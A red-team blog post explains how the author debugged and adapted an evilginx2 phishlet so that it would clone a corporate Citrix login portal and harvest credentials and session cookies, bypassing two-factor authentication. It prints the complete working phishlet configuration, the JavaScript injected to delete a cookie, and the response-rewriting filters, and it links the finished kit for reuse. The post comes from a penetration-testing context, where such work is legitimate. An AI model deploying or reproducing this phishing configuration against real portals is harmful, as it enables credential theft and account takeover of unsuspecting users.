Customising an existing evilginx phishlet to work with modern Citrix

Estimated Reading Time: 6 minutes

As part of a recent Red Team engagement, we had a need to clone the Citrix endpoint of the target company and see if we could grab some credentials.

Sounded like a job for evilginx2 (https://github.com/kgretzky/evilginx2) – the amazing framework by the immensely talented @mrgretzky.

What is evilginx2? evilginx2 is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, which in turn allows to bypass 2-factor authentication protection.

This tool is a successor to Evilginx, released in 2017, which used a custom version of nginx HTTP server to provide man-in-the-middle functionality to act as a proxy between a browser and phished website. Present version is fully written in GO as a standalone application, which implements its own HTTP and DNS server, making it extremely easy to set up and use.

It also comes with a pre-built template for Citrix Portals (courtesy of the equally talented @424f424f)

So – should just work straight out of the box, nice and quick, credz go brrrr.

Narrator : It did not work straight out of the box.

Alas credz did not go brrrr. And this is the reason for this paper – to show what issues were encountered and how they were identified and resolved. At this point I would like to give a shout out to @mohammadaskar2 for his help and for not crying when I finally bodged it all together. I almost heard him weep.

The initial set up was as per the documentation, everything looked fine but the portal was not behaving the same way when tunneled through evilginx2 as when it was accessed directly.

When entering an invalid user name and password on the real endpoint, an invalid username and password message was displayed.

However, doing this through evilginx2 gave the following error.

evilginx still captured the credentials, however the behaviour was different enough to potentially alert that there was something amiss

Comparing the two requests showed that via evilginx2 a very different request was being made to the authorisation endpoint.

Original

Via evilginx2

There were considerably more cookies being sent to the endpoint than in the original request

Replaying the evilginx2 request in Burp, eliminating the differences one by one, it was found that the NSC_DLGE cookie was responsible for the server error.

Trawling through the Burp logs showed that the cookie was being set in a server response, but the cookies were already expired when they were being set.

Now not discounting the fact that this is very probably a user error, it does appear that evilginx2 is sending expired cookies to the target (would welcome any corrections if this is a user error). The documentation indicated that is does remove expiration dates, though only if the expiration date indicates that the cookie would still be valid

So – what do we do? Unfortunately, evilginx2 does not offer the ability to manipulate cookies or change request headers (evilginx3 maybe? Pretty please?)

The first option is to try and inject some JavaScript, using the js_inject functionality of evilginx2, into the page that will delete that cookie since these cookies are not marked as HTTPOnly. An HTTPOnly cookie means that it’s not available to scripting languages like JavaScript, I think we may have hit a wall here if they had been (without using a second proxy) and this is why these things should get called out in a security review!

With help from @mohammadaskar2 we came up with a simple PoC to see if this would work

function createCookie(name,value,days) {
    if (days) {
        var date = new Date();
        date.setTime(date.getTime() + (days * 24 * 60 * 60 *1000));
        var expires = "; expires=" + date.toGMTString();
    } else {
        var expires = "";
    }
    document.cookie = name + "=" + value + expires + "; path=/";
}

function eraseCookie(name) {
    createCookie(name,"",-1);
}

eraseCookie("NSC_DLGE");

Narrator : It still did not work

Firstly it didn’t work because the formatting of the js_inject is very strict and requires that the JavaScript is indented correctly (oh hello Python!). This was definitely a user error. Though if you do get an error saying it expected a: then it’s probably formatting that needs to be looked at.

Secondly, it didn’t work because the cookie was being set after the page had been loaded with a call to another endpoint, so although our JavaScript worked, the cookie was set after it had fired (we inserted an alert to verify this).

Somehow I need to find a way to make the user trigger the script so that the cookie was removed prior to submission to the Authentication endpoint.

Fortunately, the page has a checkbox that requires clicking before you can submit your details so perhaps we can manipulate that.

Another one of evilginx2’s powerful features is the ability to search and replace on an incoming response (again, not in the headers).

So if we search for

<input type="checkbox" id="nsg-eula-accept" tabindex="0">

And replace with

<input type="checkbox" id="nsg-eula-accept" tabindex="0" onclick="OurScript()">

So that when the checkbox is clicked, our script should execute, clear the cookie and then it can be submitted.

The search and replace functionality falls under the sub_filters, so we would need to add a line such as:

  - {triggers_on: 'domain’, orig_sub: 'sub_domain', domain: 'domain', search: 'tabindex="0"', replace: 'tabindex="0" onclick="OurScript()"', mimes: ['text/html']}

And hopefully that should work.

Narrator : *sigh* still not

Checking back into the source code we see that with this sub_filter, the checkbox is still there completely unchanged. So where is this checkbox being generated?

A quick trip into Burp and searching through the Proxy History shows that the checkbox is created via the msg-setclient.js

Why does this matter? Well our sub_filter was only set to run against mime type of text/html and so will not search and replace in the JavaScript. Looking at one of the responses and its headers you can see the correct mime type to apply:

Updating our sub_filter accordingly leaves us with this :

 - {triggers_on: 'domain’, orig_sub: 'sub_domain', domain: 'domain', search: 'tabindex="0"', replace: 'tabindex="0" onclick="OurScript()"', mimes: ['application/javascript']}

Finally, with these modifications, we intercept the JavaScript that creates the checkbox, modify the checkbox to have an OnClick property to run our script, use our script to delete the cookie, then pass the credentials to the authentication endpoint and all is replicated perfectly.

The actual phishlet looks like this :

name: 'New Citrix'
author: '@bb_hacks'
min_ver: '2.3.0'
proxy_hosts:
  - {phish_sub: 'subdomain', orig_sub: 'subdomain', domain: 'domain', session: true, is_landing: true}
sub_filters:
  - {triggers_on: 'domain', orig_sub: 'subdomain', domain: 'domain', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/javascript', 'application/vnd.citrix.authenticateresponse-1+xml', 'application/xml']}
  - {triggers_on: 'domain', orig_sub: 'subdomain', domain: 'domain', search: 'tabindex="0"', replace: 'tabindex="0" onclick="final()"', mimes: ['application/javascript']}
auth_tokens:
  - domain: 'domain'
    keys: ['ASP.NET_SessionId','CsrfToken','NSC_AAAC','NSC_DLGE','pwcount']
credentials:
  username:
    key: 'login'
    search: '(.*)'
    type: 'post'
  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'
login:
  domain: 'domain'
  path: 'PATH'
js_inject:
  - trigger_domains: ["domain"]
    trigger_paths: ["/PATH"]
    trigger_params: []
    script: | 
      function createCookie(name,value,days) {
        if (days) {
        var date = new Date();
        date.setTime(date.getTime() + (days * 24 * 60 * 60 *1000));
        var expires = "; expires=" + date.toGMTString();
      } else {
        var expires = "";
      }
      document.cookie = name + "=" + value + expires + "; path=/";
      }
      function eraseCookie(name) {
      createCookie(name,"",-1);
      }
      eraseCookie("NSC_DLGE");

And in action :

Narrator : Credz go brrrr! !

The phishlet can be found here.

Update (02/02/2021)

@mrgretzky contacted me about the issues we were having (literally the day after this was published) and we worked through this particular example and was able to determine that the error was the non RFC compliant cookies being returned by this Citrix instance.

To ensure that this doesn’t break anything else for anyone he has already pushed a patch into the dev branch

Have to again take my hat off to them for identifying, fixing and pushing a patch in well under 24 hrs from the release of this initial document.


Addendum

Also a quick note – if you are stupid enough to manage to blacklist your own IP address from the evilginx server, the blacklist file can be found in ~/.evilginx . It is just a text file so you can modify it and restart evilginx

Though what kind of idiot would ever do that is beyond me.

*coughs*

2 Replies to “Customising an existing evilginx phishlet to work with modern Citrix”

  1. Nice write-up!

    I have two questions.

    Q1: Does the ‘/PATH’ string need to change in,

    js_inject:
    – trigger_domains: [“domain”]
    trigger_paths: [“/PATH”]
    trigger_params: []

    based on the origin of the Checkbox?

    Q2: For example, does you ‘/PATH’ look like?:

    js_inject:
    – trigger_domains: [“domain”]
    trigger_paths: [“/…msg-setclient.js”]
    trigger_params: []

Leave a Reply

Your email address will not be published. Required fields are marked *